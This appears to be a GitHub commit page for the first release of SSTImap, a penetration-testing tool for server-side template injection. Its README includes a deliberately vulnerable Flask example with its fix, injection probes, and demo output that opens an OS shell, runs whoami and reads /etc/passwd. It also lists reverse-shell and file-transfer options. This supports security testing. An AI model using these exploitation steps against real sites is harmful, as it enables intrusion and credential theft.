Skip to content

Commit 4971ffa

Browse files
committed
Release of SSTImap version 1.0.0
0 parents  commit 4971ffa

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

47 files changed

+4283
-0
lines changed

.gitignore

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
# Byte-compiled / optimized / DLL files
2+
__pycache__/
3+
*.py[cod]
4+
5+
# C extensions
6+
*.so
7+
8+
# Distribution / packaging
9+
.Python
10+
env/
11+
bin/
12+
build/
13+
develop-eggs/
14+
dist/
15+
eggs/
16+
lib/
17+
lib64/
18+
parts/
19+
sdist/
20+
var/
21+
*.egg-info/
22+
.installed.cfg
23+
*.egg
24+
25+
# Installer logs
26+
pip-log.txt
27+
pip-delete-this-directory.txt
28+
29+
# Unit test / coverage reports
30+
.tox/
31+
.coverage
32+
.cache
33+
nosetests.xml
34+
coverage.xml
35+
36+
# Translations
37+
*.mo
38+
39+
# OsX
40+
.DS_Store
41+
42+
# Npm local modules
43+
node_modules
44+
45+
# Jython
46+
*.class
47+
48+
# Vim
49+
# swap
50+
.sw[a-p]
51+
.*.sw[a-p]
52+
# tags
53+
tags
54+
.idea/

LICENSE.md

Lines changed: 674 additions & 0 deletions
Large diffs are not rendered by default.

README.md

Lines changed: 276 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,276 @@
1+
SSTImap
2+
======
3+
4+
[![Version 1.0](https://img.shields.io/badge/version-1.0-green.svg?logo=github)](https://github.com/vladko312/sstimap)
5+
[![Python 3.10](https://img.shields.io/badge/python-3.10-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3100/)
6+
[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/)
7+
[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt)
8+
[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/)
9+
[![Maintenance](https://img.shields.io/maintenance/yes/2022?logo=github)](https://github.com/vladko312/sstimap)
10+
11+
> This project is based on [Tplmap](https://github.com/epinna/tplmap/).
12+
13+
SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.
14+
15+
This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation.
16+
17+
Sandbox break-out techniques came from:
18+
- James Kett's [Server-Side Template Injection: RCE For The Modern Web App][5]
19+
- Other public researches [\[1\]][1] [\[2\]][2]
20+
- Contributions to Tplmap [\[3\]][3] [\[4\]][4].
21+
22+
This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports _eval()_-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.
23+
24+
Differences with Tplmap
25+
-----------------------
26+
27+
Even though this software is based on Tplmap's code, backwards compatibility is not provided.
28+
- Interactive mode (`-i`) allowing for easier exploitation and detection
29+
- Base language _eval()_-like shell (`-x`) or single command (`-X`) execution
30+
- Added new payload for _Smarty_ without enabled `{php}{/php}`. Old payload is availible as `Smarty_unsecure`.
31+
- User-Agent can be randomly selected from a list of desktop browser agents using `-A`
32+
- SSL verification can now be enabled using `-V`
33+
- Short versions added to all arguments
34+
- Some old command line arguments were changed, check `-h` for help
35+
- Code is changed to use newer python features
36+
- Burp Suite extension temporarily removed, as _Jython_ doesn't support Python3
37+
38+
Server-Side Template Injection
39+
------------------------------
40+
41+
This is an example of a simple website written in Python using [Flask][6] framework and [Jinja2][7] template engine. It integrates user-supplied variable `name` in an unsafe way, as it is cincatenated to the template string before rendering.
42+
43+
```python3
44+
from flask import Flask, request, render_template_string
45+
import os
46+
47+
app = Flask(__name__)
48+
49+
@app.route("/page")
50+
def page():
51+
name = request.args.get('name', 'World')
52+
# SSTI VULNERABILITY:
53+
template = f"Hello, {name}!<br>\n" \
54+
"OS type: {{os}}"
55+
return render_template_string(template, os=os.name)
56+
57+
if __name__ == "__main__":
58+
app.run(host='0.0.0.0', port=80)
59+
```
60+
61+
Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI.
62+
63+
```
64+
$ curl -g 'https://www.target.com/page?name=John'
65+
Hello John!<br>
66+
OS type: posix
67+
$ curl -g 'https://www.target.com/page?name={{7*7}}'
68+
Hello 49!<br>
69+
OS type: posix
70+
```
71+
72+
User-supplied input should be introduced in a safe way through rendering context:
73+
74+
```python3
75+
from flask import Flask, request, render_template_string
76+
import os
77+
78+
app = Flask(__name__)
79+
80+
@app.route("/page")
81+
def page():
82+
name = request.args.get('name', 'World')
83+
template = "Hello, {{name}}!<br>\n" \
84+
"OS type: {{os}}"
85+
return render_template_string(template, name=name, os=os.name)
86+
87+
if __name__ == "__main__":
88+
app.run(host='0.0.0.0', port=80)
89+
```
90+
91+
Predetermined mode
92+
------------------
93+
94+
SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates.
95+
96+
After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations.
97+
98+
To check the URL, you can use `-u` argument:
99+
100+
```
101+
$ ./sstimap.py -u https://example.com/page?name=John
102+
103+
╔══════╦══════╦═══════╗ ▀█▀
104+
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
105+
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
106+
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
107+
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
108+
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
109+
│ | |
110+
|_|
111+
[*] Version: 1.0
112+
[*] Author: @vladko312
113+
[*] Based on Tplmap
114+
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
115+
It is the end user's responsibility to obey all applicable local, state and federal laws.
116+
Developers assume no liability and are not responsible for any misuse or damage caused by this program
117+
118+
119+
[*] Testing if GET parameter 'name' is injectable
120+
[*] Smarty plugin is testing rendering with tag '*'
121+
...
122+
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
123+
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
124+
[+] SSTImap identified the following injection point:
125+
126+
GET parameter: name
127+
Engine: Jinja2
128+
Injection: {{*}}
129+
Context: text
130+
OS: posix-linux
131+
Technique: render
132+
Capabilities:
133+
134+
Shell command execution: ok
135+
Bind and reverse shell: ok
136+
File write: ok
137+
File read: ok
138+
Code evaluation: ok, python code
139+
140+
[+] Rerun SSTImap providing one of the following options:
141+
--os-shell Prompt for an interactive operating system shell
142+
--os-cmd Execute an operating system command.
143+
--eval-shell Prompt for an interactive shell on the template engine base language.
144+
--eval-cmd Evaluate code in the template engine base language.
145+
--tpl-shell Prompt for an interactive shell on the template engine.
146+
--tpl-cmd Inject code in the template engine.
147+
--bind-shell PORT Connect to a shell bind to a target port
148+
--reverse-shell HOST PORT Send a shell back to the attacker's port
149+
--upload LOCAL REMOTE Upload files to the server
150+
--download REMOTE LOCAL Download remote files
151+
```
152+
153+
Use `--os-shell` option to launch a pseudo-terminal on the target.
154+
155+
```
156+
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
157+
158+
╔══════╦══════╦═══════╗ ▀█▀
159+
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
160+
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
161+
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
162+
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
163+
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
164+
│ | |
165+
|_|
166+
[*] Version: 0.6#dev
167+
[*] Author: @vladko312
168+
[*] Based on Tplmap
169+
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
170+
It is the end user's responsibility to obey all applicable local, state and federal laws.
171+
Developers assume no liability and are not responsible for any misuse or damage caused by this program
172+
173+
174+
[*] Testing if GET parameter 'name' is injectable
175+
[*] Smarty plugin is testing rendering with tag '*'
176+
...
177+
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
178+
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
179+
[+] SSTImap identified the following injection point:
180+
181+
GET parameter: name
182+
Engine: Jinja2
183+
Injection: {{*}}
184+
Context: text
185+
OS: posix-linux
186+
Technique: render
187+
Capabilities:
188+
189+
Shell command execution: ok
190+
Bind and reverse shell: ok
191+
File write: ok
192+
File read: ok
193+
Code evaluation: ok, python code
194+
195+
[+] Run commands on the operating system.
196+
posix-linux $ whoami
197+
root
198+
posix-linux $ cat /etc/passwd
199+
root:x:0:0:root:/root:/bin/bash
200+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
201+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
202+
```
203+
204+
To get a full list of options, use `--help` argument.
205+
206+
Interactive mode
207+
----------------
208+
209+
In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use `-i` argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings.
210+
211+
Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial `-u` argument or `url` command. After that, you can use `run` command to check URL for SSTI.
212+
213+
If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use `Ctrl+C` to abort them without stopping a program.
214+
215+
By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time.
216+
217+
To get a full list of interactive commands, use command `help` in interactive mode.
218+
219+
Supported template engines
220+
--------------------------
221+
222+
SSTImap supports multiple template engines and _eval()_-like injections.
223+
224+
New payloads are welcome in PRs.
225+
226+
| Engine | RCE | Blind | Code evaluation | File read | File write |
227+
|--------------------------------|-----|-------|-----------------|-----------|------------|
228+
| Mako ||| Python |||
229+
| Jinja2 ||| Python |||
230+
| Python (code eval) ||| Python |||
231+
| Tornado ||| Python |||
232+
| Nunjucks ||| JavaScript |||
233+
| Pug ||| JavaScript |||
234+
| doT ||| JavaScript |||
235+
| Marko ||| JavaScript |||
236+
| JavaScript (code eval) ||| JavaScript |||
237+
| Dust (<= [email protected]) ||| JavaScript |||
238+
| EJS ||| JavaScript |||
239+
| Ruby (code eval) ||| Ruby |||
240+
| Slim ||| Ruby |||
241+
| ERB ||| Ruby |||
242+
| Smarty (unsecured) ||| PHP |||
243+
| Smarty (secured) ||| PHP |||
244+
| PHP (code eval) ||| PHP |||
245+
| Twig (<=1.19) ||| PHP |||
246+
| Freemarker ||| Java |||
247+
| Velocity ||| Java |||
248+
| Twig (>1.19) | × | × | × | × | × |
249+
| Dust (> [email protected]) | × | × | × | × | × |
250+
251+
252+
Burp Suite Plugin
253+
-----------------
254+
255+
Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided.
256+
257+
Future plans
258+
------------
259+
260+
If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors.
261+
262+
- [ ] Make template and base language evaluation functionality more uniform
263+
- [ ] Add more payloads for different engines
264+
- [ ] Short arguments as interactive commands?
265+
- [ ] Automatic languages and engines import
266+
- [ ] Engine plugins as objects of _Plugin_ class?
267+
- [ ] JSON/plaintext API modes for scripting integrations?
268+
- [ ] Argument to remove escape codes?
269+
270+
[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html
271+
[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/
272+
[3]: https://github.com/epinna/tplmap/issues/9
273+
[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
274+
[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html
275+
[6]: http://flask.pocoo.org/
276+
[7]: http://jinja.pocoo.org/

config.json

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
{
2+
"base_path": "~/.sstimap/",
3+
"log_response": false,
4+
"time_based_blind_delay": 4
5+
}

core/__init__.py

Whitespace-only changes.

0 commit comments

Comments
 (0)